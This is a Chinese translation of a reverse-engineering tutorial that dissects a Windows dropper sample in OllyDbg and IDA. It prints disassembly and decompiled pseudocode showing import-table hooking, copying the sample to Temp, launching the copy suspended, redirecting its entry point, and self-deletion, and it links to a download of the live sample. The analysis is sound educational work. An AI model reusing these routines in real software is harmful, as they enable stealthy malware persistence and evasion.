本文主要是介绍逆向工程之恶意程序第一部分,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
逆 向 工 程
之恶意程序
第一部分
作者:Arunpreet Singh
翻译:chence
博客:https://reverse2learn.wordpress.com
这个系列有两篇文章,本文是其一。这个恶意程序释放A文件(所有恶意程序经常这么干)…所以在这一篇我们只分析释放过程,被释放的文件将在下一篇分析。
原始的样本是从KernelMode.info下载下来的…对于恶意程序样本和逆向工程,这是一个不错的去处。我将样本上传至了Sendspace,文件的口令是”infected”。
链接
http://www.sendspace.com/file/to53wo
不管怎样先从基础的东西开始…用ExeInfo/Protection ID检查一下它的壳或者编译器。
注意:我是在虚拟机里分析恶意程序的。我建议你也这样做…
下面是用ExeInfo/Protection ID检查的结果
所以该样本是没有加壳的,(一般情况下恶意程序都是加了壳的)
编译器:Visual C++ 2008
到这里一切都较好处理
Visual C++目标是逆向的理想对象..不像Delphi程序包含恼人的函数调用。VC++目标相对来说容易逆向一些。
我们将使用的调试器/反汇编器是
1) Ollydbg
2) IDA
我有一个习惯——同时运行IDA和Ollydbg。IDA非常强大,它的一些特性像重命名变量,函数,标记和交叉引用等等..Ollydbg是我个人最喜欢的调试器。
单步进入Ollydbg知道WinMain = 00401648或者用IDA..IDA默认从WinMain开始。所以让我们从WinMain开始分析。
00401648 /$ 8BFF mov edi, edi //什么也不做
0040164A |. 55 push ebp //标准的函数起始——保存帧指针
0040164B |. 8BEC mov ebp, esp //将堆栈指针入EBP
0040164D |. 83EC 1C sub esp, 1C //为局部变量分配1C(28)比特
00401650 |. 56 push esi //在调用函数前保存寄存器
00401651 |. 57 push edi
00401652 |. E8 120D0000 call 00402369
让我们跟进这个函数..里边的汇编代码看起来像这样子(图是我自己截的):
让我们从有意思的东西开始..有一处调用函数”GetModuleHandleW”,参数传的是0。
我们都知道GetModuleHandleW(NULL)..在EAX寄存器中返回当前加载的可执行模块的基地址..这样这个调用就返回了sample.exe的基地址..下面的几行也很有意思
0040237A |. 8BF0 mov esi, eax //现在ESI包含基址
0040237C |. 8B46 3C mov eax, dword ptr [esi+3C] //获得NT头部偏移
0040237F |. 8B9C30 800000>mov ebx, dword ptr [eax+esi+80] //输入表
00402386 |. 03DE add ebx, esi // _IMAGE_IMPORT_DESCRIPTOR结构的地址
00402388 |. 8B43 0C mov eax, dword ptr [ebx+C] //指向_IMAGE_IMPORT_DESCRIPTOR结构的名称区域
想要懂得上面的代码..你需要对PE格式有个基本的了解…
首先我们有 = 基地址+3c
在PE格式中首先有结构IMAGE_DOS_HEADER……让我们一起在Windbg中探究一下IMAGE_DOS_HEADER结构
忽略其它区域..在偏移为0x3C的地方有一个值e_lfanew.
e_lfanew实际上包含PE头的偏移
MOV EAX,DWORD PTR DS:[ESI+3C]
所以上面的指令用于获取NT头偏移
当我们在内存中解析文件的时候还得加上基址..希望现在大家都明了了。
MOV EBX,DWORD PTR DS:[EAX+ESI+80]
这样我们就将基址+0x80 载入了EBX当中..
每个PE文件包含一个IMAGE_DATA_ DIRECTORY数组,让我们一起来看看IMAGE_DATA_ DIRECTORY内部结构
这样每一个IMAGE_DATA_ DIRECTORY结构包含两个域:Virtual Address和 Size
NT头部+0x80指向输入表地址..那个目录的值为
00400170 D4320000 DD 000032D4 ; 输入表地址 =0x 32D4
00400174 78000000 DD 00000078 ; 输入表大小 = 0x78 (120.)
这些值我是从Ollydbg的内存窗口里获取的..
因此上面的指令操纵就是获取输入表的地址..
*输入表是非常重要的概念..它包含输入函数或者动态链接库的基本信息
当我们在内存中解析文件的时候要将基址和输入表地址加起来
ADD EBX,ESI
下一条指令是
MOV EAX,DWORD PTR DS:[EBX+C]
这是很有趣的一条指令..输入表实际上是一个IMAGE_IMPORT_DESCRIPTOR数组..每一个IMAGE_ IMPORT_DESCRIPTOR结构包含一个单独dll的信息和一些从该dll输入的函数的信息。所以IMAGE_IMPORT_DESCRIPTOR结构的数量就等于DLL的数量。
让我们一起来看看IMAGE_ IMPORT_DESCRIPTOR结构
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
_ANONYMOUS_UNIONunion {
DWORD Characteristics;
DWORD OriginalFirstThunk;
}DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; //Offset 0xC
DWORD FirstThunk; //Offset 0x10
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
因此上面的指令ESI(有误,应为eax)指向IMAGE_IMPORT_DESCRIPTOR结构里的名称
0040238D |. 8975 F8 MOV [LOCAL.2],ESI //将ESI存入局部变量(基址)
这样下面是一个循环..我们可以很容易地从Ollydbg看出来..一起来看看这个循环
00402397 |> /03C6 /add eax, esi //在内存中获取DLL的名称
00402399 |. |68 28134000 |push 00401328 ; /s2 ="user32.dll"
0040239E |. |50 |push eax ; |s1
0040239F |. |FF15 48114000 |call dwordptr [<&msvcrt._stricmp>] ;\_stricmp
004023A5 |. |85C0 |test eax, eax
004023A7 |. |59 |pop ecx
004023A8 |. |59 |pop ecx
004023A9 |. |0F85 A0000000 |jnz 0040244F
上面的指令所做的操作是
1) 在内存中获取dll的名称
2) 将dll名称和”user32.dll”对比
3) 如果名称不相等则跳至下一个IMAGE_IMPORT_DESCRIPTOR结构
4) 跳到第一步
这样这个循环一直继续知道dll名称为”user32.dll”
一起来看看当条件成立时会发生什么..我的意思是DLL名 == ”user32.dll”
004023a9处的跳转是一个条件跳转..当DLL名称等于”user32.dll”时不跳转.所以让我们一起来看看这个跳转下面的代码——当DLL名称相符时。
004023AF |. 8B3B MOV EDI,DWORD PTR DS:[EBX] //将IAT的RVA入EDI(此处应该是INT)
004023B1 |. 03FE ADD EDI,ESI //获得内存地址
004023B3 |. 8B73 10 MOV ESI,DWORD PTR DS:[EBX+10] // FirstThunk的RVA
004023B6 |. 0375 F8 ADD ESI,[LOCAL.2] // FirstThunk的内存地址
这样上面的代码所做的操作是获取FirstThunk的内存地址..
(认真查看PE格式去了解关于IAT的更多信息)
这所有的步骤实际上是解析从该dll输入的函数的名字。
004023BE |> /8B4D F8 MOVECX,[LOCAL.2]
004023C1 |. |8D4408 02 LEA EAX,DWORD PTRDS:[EAX+ECX+2] //指向API的名字
现在终于指向从User32.dll输入的API函数的名字了
004023BE |> /8B4D F8 MOVECX,[LOCAL.2] ; sample.00400000
004023C1 |. |8D4408 02 LEA EAX,DWORDPTR DS:[EAX+ECX+2]
004023C5 |. |68 14134000 PUSH sample.00401314 ; /s2 ="RegisterClassExW"
004023CA |. |50 PUSH EAX ; |s1 ="TranslateMessage"
004023CB |. |FF15 48114000 CALL DWORD PTR DS:[<&msvcrt._stricmp>] ;\_stricmp
检查当前API名字是否等于RegisterClassExW(现在这里不相等,因为第一个输入的函数是TranslateMessage)
004023D1 |. |85C0 TEST EAX,EAX ; sample.004037D2
004023D3 |. |59 POP ECX ; sample.004037D2
004023D4 |. |59 POP ECX ; sample.004037D2
004023D5 |. |75 25 JNZ SHORTsample.004023FC
如果API名字匹配则不跳转(执行下面的代码),如果不匹配则跳转
004023D7 |. |8D45 FC LEAEAX,[LOCAL.1]
004023DA |. |50 PUSH EAX ; /pOldProtect = sample.004037D2
004023DB |. |6A 40 PUSH40 ; |NewProtect = PAGE_EXECUTE_READWRITE
004023DD |. |6A 04 PUSH 4 ; |Size = 4
004023DF |. |56 PUSHESI ; |Address =<&USER32.TranslateMessage>
004023E0 |. |FF15 44104000 CALL DWORD PTRDS:[<&KERNEL32.VirtualP>; \VirtualProtect
004023E6 |. |8D45 FC LEAEAX,[LOCAL.1]
如果API名字匹配的话则用VirtualProtect函数改变那个地址的权限(ESI指向那个API的地址)
新的权限 = PAGE_EXECUTE_READWRITE(可执行可读写)
让它是可写的
大小 = 4
这里大小等于4很可能是因为它将改写API的地址(因为我们处于32bit构架,所以地址=4Bytes = 32bits)
地址 = ESI(API地址)(目标API地址)
004023E9 |. |50 PUSHEAX ; /pOldProtect =sample.004037D2
004023EA |. |C706 EF194000 MOV DWORD PTRDS:[ESI],sample.004019EF
用004019ef(其它函数地址)重写API地址
004023F0 |. |FF75 FC PUSH[LOCAL.1] ; |NewProtect =PAGE_READONLY|PAGE_WRITECOPY
004023F3 |. |6A 04 PUSH 4 ; |Size = 4
004023F5 |. |56 PUSH ESI ; |Address =<&USER32.TranslateMessage>
004023F6 |. |FF15 44104000 CALL DWORD PTR DS:[<&KERNEL32.VirtualP>;\VirtualProtect
用VirtualProtect函数恢复原来的权限
下一部分的LOOP循环也一样..它检查API是否是“CreateWindowExW”.如果名字匹配的话,使用函数VirtualProtect使那片内存可写。然后改写地址,最后又恢复原来的权限。
所以让我写一段伪代码来描述一下在这个循环里发生了什么
Parse IMAGE_IMPORT_DESCRIPTOR
If stricmp(Image_Import_descriptor->Name,”user32.dll) //Label2
{
Parse using FirstThunk ..Get API NAMES..
If stricmp(Current_API,”RegisterClassExW”) //Label1
{
VirtualProtect(Address_of_API,Size(4Bytes),PAGE_EXECUTE_READWRITE,PoldProtec)
// Make it Writable
Address_of_API= 004019EF
VirtualProtect() //Restore original Permissions
}
Else if(Stricmp(Current API,”CreateWIndowExW”)
{
VirtualProtect(Address_of_API,Size(4Bytes), PAGE_EXECUTE_READWRITE,PoldP
// Make it Writable
Address_of_API= 00402228
VirtualProtect() //Restoreorginal Permissions
}
Else
{
Get Next API NAME
} //Start From Label 1
Else
{
Get Next IMAGE_IMPORT_DESCRIPTOR TABLE
} //Start From Label 2 ..Once TwoFunctions are matched Loop Terminates
这样循环结束以后有
地址_RegisterClassExW=004019EF
地址_CreateWindowEx=00402228
最后函数结束和返回.. 如此这个函数主要的目的是对IAT作些修改。
============================================================================================
下面是我从IDA里得出的伪代码:
int __cdecl sub_402369()
{
intresult; // eax@1
intpIID; // ebx@1
HMODULE hmodule2; // esi@1
HMODULE hModule; // eax@1
intOrigianlFirstThunk; // edi@3
void *FirstThunk; // esi@3
HMODULE i; // [sp+8h] [bp-8h]@1
DWORD flOldProtect; // [sp+Ch] [bp-4h]@5
hModule = GetModuleHandleW(0);
hmodule2 = hModule;
pIID = (int)((char *)hModule + *(_DWORD *)((char *)hModule + *((_DWORD*)hModule + 15) + 128));//输入表 IID数组指针
result = *(_DWORD *)(pIID + 0xC);
for( i = hmodule2; result; pIID += 0x14u )
{
if ( !stricmp((const char *)hmodule2 + result, "user32.dll") )
{
OrigianlFirstThunk = (int)((char *)hmodule2 + *(_DWORD *)pIID);
FirstThunk = (char *)i + *(_DWORD *)(pIID + 16);
while ( *(_DWORD *)OrigianlFirstThunk )
{
if ( !stricmp((const char *)i + *(_DWORD *)OrigianlFirstThunk + 2,"RegisterClassExW") )
{
VirtualProtect(FirstThunk, 4u, 0x40u, &flOldProtect);//修改内存属性
*(_DWORD *)FirstThunk = sub_4019EF; //修改IAT
VirtualProtect(FirstThunk, 4u, flOldProtect, &flOldProtect);//恢复原内存属性
}
if ( !stricmp((const char *)i + *(_DWORD *)OrigianlFirstThunk + 2,"CreateWindowExW") )
{
VirtualProtect(FirstThunk, 4u, 0x40u, &flOldProtect);
*(_DWORD *)FirstThunk = sub_402228;
VirtualProtect(FirstThunk, 4u, flOldProtect, &flOldProtect);
}
OrigianlFirstThunk += 4;
FirstThunk = (char *)FirstThunk + 4;
}
hmodule2 = i;
}
result = *(_DWORD *)(pIID + 0x20);
}
return result;
}
函数调用后.. 这里有一些对资源的函数调用..更像是假的调用..因为访问的资源不存在。
00401657 |. 8B7D 08 mov edi, dword ptr [ebp+8] ; sample.00400000 //将基址如EDI
0040165A |. 8B35 C8104000 mov esi, dword ptr[<&USER32.LoadStringW>] ; user32.LoadStringW
00401660 |. 6A 64 push 64 ; /Count = 64 (100.)
00401662 |. 68 C04A4000 push 00404AC0 ; |Buffer = sample.00404AC0
00401667 |. 6A 67 push 67 ; |RsrcID = 67 (103.) //事实上不存在
00401669 |. 57 push edi ; |hInst
0040166A |. FFD6 call esi ; \LoadStringW
这个资源ID并不存在。检查Ollydbg的GetLastError值——ERROR_RESOURCE_TYPE_NOT_FOUND。这看起来像是一个假的调用让程序更加合法而已(也许)。
00401678 |. 57 PUSH EDI ; Arg1 = 00400000 // ImageBase As Parameter
00401679 |. E8 4DFFFFFF CALL sample.004015CB
跟进这个函数..再次看见有一些访问资源的函数…LoadIcon,LoadResouce ..没什么重要的,直到一处调用
00401637 |. 50 PUSH EAX ; pWndClassEx = 0006FECC
00401638 |. FF15 00114000 CALL DWORD PTRDS:[<&USER32.RegisterClassExW>] ;\ RegisterClassExW
记得RegisterClassExW这个函数的地址在开头被改写了..原来是要去访问user32.dll,现在它指向了可执行体的另一个函数..跟进去瞧瞧这个函数
在这个函数里我们可以看到一些有趣的函数调用,例如
GetModuleFileNameA => 这里是要得到当前执行体的完整路径(因为GetModuleHandleW函数带参数NULL是要取得句柄给它)
GetTempPathW=> 如名所示,获取临时文件夹的路径
这时我们可以看到一个调用函数00401952=>我检查了这个函数..它内部调用了CRT函数 _vsnwprintf…用来处理字符串的(格式化字符串)…
第一处调用这个函数返回 = TMP1CDFDEBF(这是一个目录名..我知道因为因为我分析了)
译注:这个字符串是用TEM+一个用CPU运行时钟周期数生成的随机字符串,我这里得到的是TMP209EBEE6
第二次调用这个函数返回一个字符串=
C: \\ DOCUME~1 \\ ADMINI~1\\ LOCALS~1\\Temp\ \\\ TMP1CDFDEBF
这像是一个用来释放文件的地址
00401A7D |. 6A 00 push 0 ; /pSecurity= NULL
00401A7F |. 8D85 F4FDFFFF lea eax, dword ptr [ebp-20C] ; |
00401A85 |. 50 push eax ; |Path
00401A86 |. FF15 08104000 CALL DWORD PTRDS:[<&KERNEL32.CreateDirectoryW>]
这里是创建一个目录,没什么好解释的..
然后再一次调用了函数401952(格式化字符串)来产生文件路径..输出是
C: \\ DOCUME~1 \\ ADMINI~1\\ LOCALS~1\\Temp\ \\\ TMP1CDFDEBF\\sample.exe
所以最后这是一个用来释放文件的路径
从图片中可以看出..最后调用了函数CopyFileW..所以最后它释放了一个文件到上面的路径中..实际上它复制/释放了正在执行的自身一份拷贝。
释放完后这个函数就结束了..
signed int __stdcall sub_4019EF(int a1)
{
inti; // edi@1
HMODULE v2; // eax@1
DWORD v3; // edi@1
unsigned __int64 v4; // qax@4
WCHAR Args; // [sp+Ch] [bp-61Ch]@1
wchar_t Dest; // [sp+214h] [bp-414h]@4
const WCHAR PathName; // [sp+41Ch] [bp-20Ch]@4
unsigned int v9; // [sp+624h] [bp-4h]@1
intv10; // [sp+628h] [bp+0h]@1
v9= (unsigned int)&v10 ^ dword_404000;
v2= GetModuleHandleW(0);
v3= GetModuleFileNameW(v2, &Filename, 0x104u);
GetTempPathW(0x104u, &Args);
for( i = 2 * v3 + 4212896; *(_WORD *)i != 92; i -= 2 )
;
v4= RDTSC();
sub_401952(&Dest, 260, L"TMP%.08X%", BYTE4(v4) | v4);
sub_401952((wchar_t *)&PathName, 260, L"%s\\%s", (unsignedint)&Args);
CreateDirectoryW(&PathName, 0);
sub_401952((wchar_t *)&NewFileName, 260, L"%s\\%s",(unsigned int)&PathName);
CopyFileW(&Filename, &NewFileName, 0);
return 1;
}
所以到现在为止我们分析了函数RegisterClassExW_0..现在我们总跟进入CreateWindowEx_MOD(修改后的CreateWindowEx)…我称这个函数为CreateWindowEx_MOD因为它内部调用了修改后的CreateWindowExW函数…
跟进去看看
所有原来的/必须的参数都传递给了RegisterClassExW函数让它看起来更逼真..现在跟进RegisterClassExW
在RegisterClassExW(实际上是函数00402228)函数里边..我们可以看到一些有趣的API调用,如CreateProcessW,GetThreadContext,SetThreadContext,,WriteProcessMemory…检查一下它到底在干啥..
然后有一处调用CreateProcessW(在末尾的W指示着这是Unicode版本)…
CreateProcessW简单地说用来创建一个进程…查看MSDN以获得其它的信息
http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx
一起来查看一下传递给CreateProcessW的各个参数
00402266 |. 50 push eax ; /pProcessInfo =0006FBD8
00402267 |. 8D85 D8FCFFFF lea eax, dword ptr [ebp-328] ; |
0040226D |. 50 push eax ; |pStartupInfo
0040226E |. 56 push esi ; |CurrentDir
0040226F |. 56 push esi ; |pEnvironment
00402270 |. 6A04 push 4 ; |CreationFlags =CREATE_SUSPENDED
00402272 |. 56 push esi ; |InheritHandles
00402273 |. 56 push esi ;|pThreadSecurity
00402274 |. 56 push esi ; |pProcessSecurity
00402275 |. 56 push esi ; |CommandLine
00402276 |. 68 80464000 push 00404680 ; |ModuleFileName ="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\TMP662A5777\sample.exe"
0040227B |. FF15 40104000 call dword ptr[<&KERNEL32.CreateProc>; \CreateProcessW
用红色点亮的参数是很重要的…让我解释一下
00402270 |. 6A 04 PUSH 4 ;|CreationFlags = CREATE_SUSPENDED
根据MSDN
CREATE_SUSPENDED
0x00000004
新开启的进程的主线程呈挂起状态,在调用恢复执行的函数前它不会运行。
希望现在都清楚了…在恶意程序情况下,如果进程在开启时是挂起(SUSPENDED)模式那很有可能说明它将会被修改
其它有意思的参数是
00402276 |. 68 80464000 push 00404680 ; |ModuleFileName ="C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\TMP662A5777\sample.exe"
这说明我们的样本文件将释放的文件处于挂起模式…
*还有你可以想想看…释放复制的/相同的文件然后让它运行意味着什么…这样做没有意义..释放文件然后运行它…然后释放的文件又会做相同的操作(当然你可以想文件可以检查自身的运行的位置然后再改变它的行为,根据这个样本它不是这个情形…)所以恶意程序只是释放文件而什么都不做这是很愚蠢的程序..所以这样的哲学思考提供了一些暗示,被释放的进程将会作些修改,而且我们可以看到一些像WriteProcessMemory
这样的API函数。
WriteProcessMemory是一种进程间通信的基本方式..用于将给定的数据写入到远程进程的目标区域。
这样说来,所做的一切就有意义了。这款恶意程序将对子进程作一些修改,也就是释放的文件进程。让我们继续分析
00402287 |. 50 push eax ; /pContext
00402288 |. FFB5 24FDFFFF push dword ptr[ebp-2DC] ; |hThread
0040228E |. C785 30FDFFFF>mov dword ptr[ebp-2D0], 10007 ; |
00402298 |. FF15 74104000 call dword ptr[<&KERNEL32.GetThreadC>; \GetThreadContext
GetThreadContext=获取指定线程上下文环境(从MSDN上得来的简单明了的定义)
pContext=存放CONTEXT结构…也就是获取到的寄存器的值…这里是006FBE8
hThread= 线程的句柄….这里此处包含被释放的文件进程(我将称它为释放进程)的主线程句柄
在windbg中查看一下CONTEXT结构..Windbg用来查看windows数据结构非常方便..还显示偏移…那是真正的有用…
正如你看到的EAX的偏移是0xB0..
我们的Context结构从006FBE8开始
CONGTEXT.EAX= 006FBE8 + BO = 006FC98
为什么EAX如此重要…进程在SUSPENDED模式下,EAX总是指向入口
执行完GetThreadContext后
我们取得了context.EAX的值
006Fc98= 004029B9..如前所说它是释放进程的入口地址
现在检查一下下面的几行有趣的代码
004022A4 |. 50 push eax ; /pContext
004022A5 |. FFB5 24FDFFFF push dword ptr[ebp-2DC] ; |hThread //被释放进程的线程
004022AB |. C785 E0FDFFFF>mov dword ptr [ebp-220], 00401E1F ; |//改写EAX
004022B5 |. FF15 70104000 call dword ptr[<&KERNEL32.SetThreadC>; \SetThreadContext
SetThreadContext=设定指定线程的CONTEXT…
如你所见它指向同样的地址0006FBE8
查看一下高亮代码…这里LOCAL.136 =006Fc98..所以这条指令所做的就是用值00401E1F改写地址006Fc98处的值..
然后再调用SetThreadContext…
所以所有这些是通过改写被释放进程的CONTEXT结构的EAX值来改变该进程的入口点。
检查下边的快照来更好地理解…IDA的命名特性使得它称为了逆向的完美工具。
这样入口点就改变了…我们看看下边将会发生什么..分析下下面将会发生什么
004022C1 |. 56 push esi ; /pBytesWritten
004022C2 |. 6808020000 push 208 ;|BytesToWrite = 208 (520.)
004022C7 |. B8A0484000 mov eax, 004048A0 ; |UNICODE"C:\Documents and Settings\Administrator\"
004022CC |. 50 push eax ; |Buffer =>sample.004048A0
004022CD |. 50 push eax ; |Address =>4048A0
004022CE |. FFB5 20FDFFFF push dword ptr[ebp-2E0] ; |hProcess
004022D4 |. FFD3 call ebx ; \WriteProcessMemory
如我解说的hProcess是释放进程的句柄..所以这里WriteProcessMemory函数所做的就是复制样本的原始路径到释放进程。(4048A0包含本执行体的路径)。你将会明白为什么要复制给释放的进程
调用GetCurrentProcessId=这个函数在EAX寄存器返回当前进程的ID
下一步,OpenProcess这个API被调用,传入的参数是当前进程的ID..这意味着OpenProcess试图以PROCESS_ALL_ACCESS权限打开当前执行进程(红色标记1F0FFF = PROCESS_ALL_ACCESS)…如果一切正确的话OpenProcess将返回本地进程的句柄。
下面我们调用了DuplicateHandle…MSDN里解释的很好..读读它
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724251%28v=vs.85%29.aspx
=======================================摘自百度百科==========================================
VC声明
Windows NT/2000/XP: Includedin Windows NT 3.1 and later.
Windows 95/98/Me: Includedin Windows 95 and later.
Header: Declared inWinbase.h; include Windows.h.
Library: UseKernel32.lib.
说明:
BOOL WINAPI DuplicateHandle(
__in HANDLE hSourceProcessHandle,
__in HANDLE hSourceHandle,
__in HANDLE hTargetProcessHandle,
__out LPHANDLE lpTargetHandle,
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwOptions
);
hSourceProcessHandle:源进程内核句柄(即负责传递内核对象句柄的进程句柄)hSourceHandle:要传递的内核对象句柄hTargetProcessHandle:目标进程内核句柄lpTargetHandle:接收内核对象句柄的地址(先随便声明一个HANDLE)dwDesiredAccess:TargetHandle句柄使用何种访问掩码(这个掩码是在句柄表中的一项)bInheritHandle:是否拥有继承dwOptions:当设DUPLICATE_SAME_ACCESS时,表示于源的内核对象所有标志一样,此时wDesiredAccess可标志为0
当设DUPLICATE_CLOSE_SOURCE时,传输完后,关闭源中的内核对象句柄此函数能否成功调用还要看你是否有足够的权限去操作目标进程通常目标进程的内核句柄是利用OpenProcess()得到的HANDLE WINAPI OpenProcess(
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId
);
dwDesiredAccess:决定你拥有该进程的操作权限,如果要成功用到则要填PROCESS_ALL_ACCESS或PROCESS_DUP_HANDLE
bInheritHandle:是否可继承
dwProcessId:这个ID可在资源管理器中找到,当然,我不提倡在哪里得到,或者你可以通过进程间通信的方法把PID从目标进程传给源进程
若DuplicateHandle()能成功执行,则利用进程通信把句柄值TargetHandle传给目标进程,让他知道利用该句柄使用内核对象
注意:不要试图在源进程中利用CloseHandle()关闭TargetHandle,因为这个TargetHandle句柄值并不属于源进程的句柄表中的,若错误关闭了,会产生不可预料的结果
=============================================================================
然后我们调用了WriteProcessMemory函数..在这个函数里..我们给释放进程传递了用DuplicateHandle复制的实句柄..我们将句柄写在=404AA8(先记下)
如果你读了MSDN..那么你应该清楚WriteProcessMemory函数的意图..
然后调用了ResumeThread
0040231A |. FFB5 24FDFFFF PUSH [LOCAL.183] ; /hThread = 00000048 //DroppedProcess
00402320 |. FF15 1C104000 CALL DWORD PTRDS:[<&KERNEL32.ResumeThread>]
所以最后在对释放进程做完必要的改变之后…继续执行释放进程然后释放进程开始执行…
我现在还没执行ResumeThread…所有我想做的就是用Ollydbg附加释放进程..
这里有一种方法如何去做..
我们得到了释放进程的入口点=401E1Fh
所以接下来我们要做的是在无限循环中跟踪释放进程…
我将使用PUPE Suite..而且改变401e1f开始的两个字节为EBFE(在改写之前记下原始的字节)
我前面有一篇文章使用了同样的方法,如果你还不知道就查看一下吧
https://reverse2learn.wordpress.com/2011/09/01/unprotecting-the-crypter/
现在执行挂起的线程。现在释放进程陷入了无线的循环当中..用Ollydbg附加上..用原来的字节替换掉EB FE(原来的字节:8B FF)..
*我建议从这个点DUMP进程,因为这里包含了父进程对它所做的所有修改.
这就是我们能够从同样的进程中得到的所有的东西..在恢复执行释放进程主线程后…它关闭了句柄最后退出了
=============================================================================================
下面是我从IDA里F5得来的伪函数
signedint __cdecl sub_402228()
{
DWORD v1; // eax@1
HANDLE v2; // eax@1
HANDLE v3; // ST14_4@1
void *v4; // ST10_4@1
HANDLE v5; // eax@1
HANDLE v6; // eax@1
char Dst; // [sp+Ch] [bp-328h]@1
HANDLE hObject; // [sp+50h] [bp-2E4h]@1
struct _PROCESS_INFORMATIONProcessInformation; // [sp+54h] [bp-2E0h]@1
CONTEXT Context; // [sp+64h] [bp-2D0h]@1
unsigned int v11; // [sp+330h] [bp-4h]@1
int v12; // [sp+334h] [bp+0h]@1
v11 = (unsigned int)&v12 ^ dword_404000;
ProcessInformation.hProcess = 0;
ProcessInformation.hThread = 0;
ProcessInformation.dwProcessId = 0;
ProcessInformation.dwThreadId = 0;
memset(&Dst, 0, 0x44u);
CreateProcessW(&NewFileName, 0, 0, 0, 0,4u, 0, 0, (LPSTARTUPINFOW)&Dst, &ProcessInformation);
Context.ContextFlags = 65543;
GetThreadContext(ProcessInformation.hThread,&Context);
Context.Eax = (DWORD)sub_401E1F;
SetThreadContext(ProcessInformation.hThread,&Context);
WriteProcessMemory(ProcessInformation.hProcess, &Filename,&Filename, 520u, 0);
v1 = GetCurrentProcessId();
v2 = OpenProcess(0x1F0FFFu, 0, v1);
v3 = ProcessInformation.hProcess;
hObject = v2;
v4 = v2;
v5 = GetCurrentProcess();
DuplicateHandle(v5, v4, v3, &hHandle, 0,0, 2u);
WriteProcessMemory(ProcessInformation.hProcess, &hHandle,&hHandle, 4u, 0);
ResumeThread(ProcessInformation.hThread);
CloseHandle(hObject);
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
v6 = GetCurrentProcess();
TerminateProcess(v6, 0);
return 1;
}
=============================================================================================
看看释放进程的汇编代码
我们看到了调用Memset函数..Memset之后我们又看到了很有趣的函数
WaitForSingleObject(hObject,TimeOut)
hObject= 404aa8(记得第二次调用WriteProcessMemery函数,那里我们将从DumlicateHandle函数复制过来的句柄写在了释放进程的404aa8地址处)
TimeOut=INFINETE//等待对象被通知
完了以后用CloseHandle关闭句柄
然后调用了DeleteFileW..传递的文件路径是样本进程的路径
*回忆一下,我们第一次掉用WriteProcessMemory函数是传递的参数是样本的路径
所以我认为现在清楚了如何实现自我删除(熔化特性)/删除文件…
释放进程等待样本进程的事件…当它被通知了以后,它就继续执行然后删除那个文件。
因此第一部分到此结束…在下一部分我们将要分析释放进程(用Ollydbg附加它再恢复原来的字节之后,我对它进行了DUMP)
我殷切希望能得到你的反馈。你可以给我发Email或者在我的博客上评论
博客:https://reverse2learn.wordpress.com/
Email :arunpreet90@gmail.com
这篇关于逆向工程之恶意程序第一部分的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!